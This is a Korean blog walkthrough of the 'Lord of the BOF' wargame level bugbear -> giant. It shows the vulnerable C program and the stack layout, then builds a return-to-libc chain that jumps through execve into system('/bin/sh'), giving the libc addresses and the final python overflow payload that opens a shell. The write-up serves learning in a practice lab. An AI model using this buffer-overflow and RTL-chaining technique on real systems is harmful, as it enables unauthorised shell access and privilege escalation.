-->

[LOB] level14, bugbear -> giant 풀이

LOB, bugbear -> giant 문제 확인

저번 문제에 이어 두번째 RTL 문제이다. 이번 문제는 리턴 주소가 execve 함수가 맞는지 조건문으로 확인하고 있기 때문에 system 함수가 아닌 execve를 사용해 쉘을 실행시켜야 한다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

 

 

RTL에 대한 개념은 아래 포스팅을 확인하기 바란다.

 


RTL(Return to Library) Chaining 이란?

 

RTL(Return to Library) Chaining 이란?

역시 정리하지 않으면 잊어버리는 것이 사람인 것 같다. 나만 그럴수도... ROP 개념을 정리하는 와중에 먼저 RTL Chaning 부터 제대로 정리하자는 생각이 들어 여기에 정리한다. RTL(Return to Library) 이란 일단..

liveyourit.tistory.com

 

 

LOB, bugbear -> giant 풀이

먼저 스택구성은 아래와 같다. 

 

ret (4)
execve_addr (4)
execve_offset (4)
lib_addr (4)
fp (4)
buffer (40)
SFP (4)
RET (4)

 

 

 

그리고 여기서 execve 함수를 실행시키기 위해 아래와 같이 페이로드를 구성하도록 한다. 참고로 execve에는 인자값이 3개가 필요하기 때문에 RET에서 +8부터 +16R까지 인자값이 와야한다.

 

buffer (40)
SFP (4)
RET (4)
&execve()
execve() RET
dummy
execve() argv
&"/bin/sh"
execve() argv
NULL?
execve() argv
NULL

 

 

먼저, execve 함수 주소를 구해보자.

 

 

 

그런데 여기서 한가지 주의할 점이, \x0a를 공백?으로 인식하기 때문에 통째로 문자열로 전해줘야 한다고 한다.

 

 

 

그리고 저번 문제에서 했던 system 함수 내부에서 찾는 방법대로 "/bin/sh" 문자열 주소를 구한다.

 

 

 

하지만! 여기서 execve로 하기에는 여러가지로 문제가 많이 발생함을 깨닫고 아래와 같은 방식으로 변경했다. 아래와 같이 페이로드를 변경하면 execve 함수가 종료되고 난 뒤 system 함수로 리턴하게 되고 그 때의 esp+8을 인자로 인식해 system("/bin/sh")가 실행되게 된다.

 

참고로 execve는 따로 정상적인 인자 구성을 해주지 않아도 어차피 종료될 것이기 때문에 아래대로만 페이로드를 구성해도 문제없다.

 

buffer (40)
SFP (4)
RET (4)
&execve()
execve() RET
&system()
system() RET
dummy
system() argv
&"/bin/sh"

 

 

그럼 필요한 값들을  모두 정리해보면 아래와 같다.

 

- &execve() : 0x400a9d48

- &system() : 0x40058ae0

- &"/binsh" : 0x400fbff9

 

 

LOB, bugbear -> giant 익스플로잇

따라서 아래와 같이 페이로드를 구성해 쉘을 획득할 수 있다.

 

 


[bugbear@localhost bugbear]$ ./giant "`python -c 

'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`"

 

 

댓글

Designed by JB FACTORY